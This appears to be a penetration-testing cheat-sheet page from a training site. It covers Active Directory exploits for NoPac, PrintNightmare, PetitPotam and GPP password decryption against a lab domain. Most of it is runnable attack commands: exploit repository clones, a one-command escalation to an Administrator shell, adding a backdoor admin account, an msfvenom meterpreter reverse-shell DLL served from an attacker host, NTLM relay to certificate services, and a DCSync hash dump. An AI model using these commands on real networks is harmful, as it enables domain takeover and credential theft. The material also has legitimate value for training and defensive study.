AD Known Vulnerabilities

Specific CVEs and protocol-level misconfigurations

NoPac (SamAccountName Spoofing)

Also known as SamAccountName Spoofing, covers two CVEs (CVE-2021-42278 and CVE-2021-42287). Chained together, they let any standard domain user escalate straight to Domain Admin in a single command. See the original writeup and Sophos’ analysis for the full mechanism.

git clone https://github.com/Ridter/noPac.git

# scan if the target is vulnerable
sudo python3 scanner.py inlanefreight.local/forend:Klmcargo2 -dc-ip 172.16.5.5 -use-ldap

# exploit, drop straight into a shell as Administrator
sudo python3 noPac.py INLANEFREIGHT.LOCAL/forend:Klmcargo2 -dc-ip 172.16.5.5 -dc-host ACADEMY-EA-DC01 -shell --impersonate administrator -use-ldap

PrintNightmare

Two vulnerabilities in the Windows Print Spooler service (CVE-2021-34527 and CVE-2021-1675), present on every Windows host since Print Spooler runs by default, including Domain Controllers. Successful exploitation hands back a SYSTEM shell.

Invoke-Nightmare (Simple)
Full RCE Chain (cube0x0)

calebstewart’s CVE-2021-1675 PowerShell PoC adds a local administrator directly, no listener, payload DLL, or SMB server needed at all. The simpler default option.

# confirm the spooler service is actually running
ls \\<dc-ip>\pipe\spoolss

Invoke-Nightmare -NewUser "hacker" -NewPassword "Pwnd1234!" -DriverName "PrintIt"

cube0x0’s PoC drives the vulnerability to a full reverse shell instead of just adding an account, worth the extra steps when a shell (not just a new admin account) is the goal.

git clone https://github.com/cube0x0/CVE-2021-1675.git

# confirm the print protocols are exposed on the target
rpcdump.py @172.16.5.5 | egrep 'MS-RPRN|MS-PAR'

# build a payload and host it over SMB
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=172.16.5.225 LPORT=8080 -f dll > backupscript.dll
sudo smbserver.py -smb2support CompData /path/to/backupscript.dll

# catch the callback
msfconsole -q
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp

# trigger it
sudo python3 CVE-2021-1675.py inlanefreight.local/forend:[email protected] '\\172.16.5.225\CompData\backupscript.dll'

PetitPotam (MS-EFSRPC)

CVE-2021-36942, an LSA spoofing flaw: an unauthenticated attacker can coerce a Domain Controller into authenticating (over NTLM, port 445) to a host of their choosing, by abusing the Encrypting File System Remote Protocol (MS-EFSRPC) to reach the Local Security Authority Remote Protocol (LSARPC). On its own this is a coercion primitive, chained with NTLM relay to AD Certificate Services, it takes over the domain outright. See dirkjanm’s writeup for the full relay chain.

git clone https://github.com/topotam/PetitPotam

# start the relay, targeting the CA's web enrollment endpoint
sudo ntlmrelayx.py -debug -smb2support --target http://ACADEMY-EA-CA01.INLANEFREIGHT.LOCAL/certsrv/certfnsh.asp --adcs --template DomainController

# Variant 1: trigger the DC into authenticating to the relay (Linux)
python3 PetitPotam.py <attack-host-ip> <dc-ip>

# Variant 2: trigger via Mimikatz instead
misc::efs /server:<Domain Controller> /connect:<ATTACK HOST>

The relay yields a certificate for the DC’s own machine account, trade it for a TGT, then DCSync with it:

# Request TGT Ticket
python3 gettgtpkinit.py INLANEFREIGHT.LOCAL/ACADEMY-EA-DC01\$ -pfx-base64 MIIStQIBAzCCEn8GCSqGSI...SNIP...CKBdGmY= dc01.ccache

# Save ccache file to env variable 
export KRB5CCNAME=dc01.ccache

# Run DCSync Attack and dump all hashes
secretsdump.py -just-dc-user INLANEFREIGHT/administrator -k -no-pass "ACADEMY-EA-DC01$"@ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL

That last step is DCSync, covered in full on its own page. The only thing new here is what makes the DCSync request: a legitimately-issued DC machine account ticket, obtained through coercion rather than through already-held replication rights.

Group Policy Preferences (GPP) Passwords

A GPP is stored as an .xml file in the SYSVOL share (and cached locally on any endpoint the policy applies to), and can embed a password in its cpassword attribute, AES-256 encrypted. Microsoft published that AES key publicly in the GPP documentation, so any authenticated domain user who can read SYSVOL can decrypt it.

# find registry.xml / groups.xml files carrying autologon/GPP credentials
crackmapexec smb 172.16.5.5 -u forend -p Klmcargo2 -M gpp_autologin

# decrypt a found cpassword value directly
gpp-decrypt VPe/o9YRyz2cksnYRbNeQj35w9KxQ5ttbvtRaAVqxaE

Get Started

Web

Linux

Windows

Active Directory

Services & Protocols

Password Attacks

Lateral Movement

Techniques

Tools & Resources

AD Known Vulnerabilities

NoPac (SamAccountName Spoofing)

PrintNightmare

PetitPotam (MS-EFSRPC)

Group Policy Preferences (GPP) Passwords

​NoPac (SamAccountName Spoofing)

​PrintNightmare

​PetitPotam (MS-EFSRPC)

​Group Policy Preferences (GPP) Passwords

NoPac (SamAccountName Spoofing)

PrintNightmare

PetitPotam (MS-EFSRPC)

Group Policy Preferences (GPP) Passwords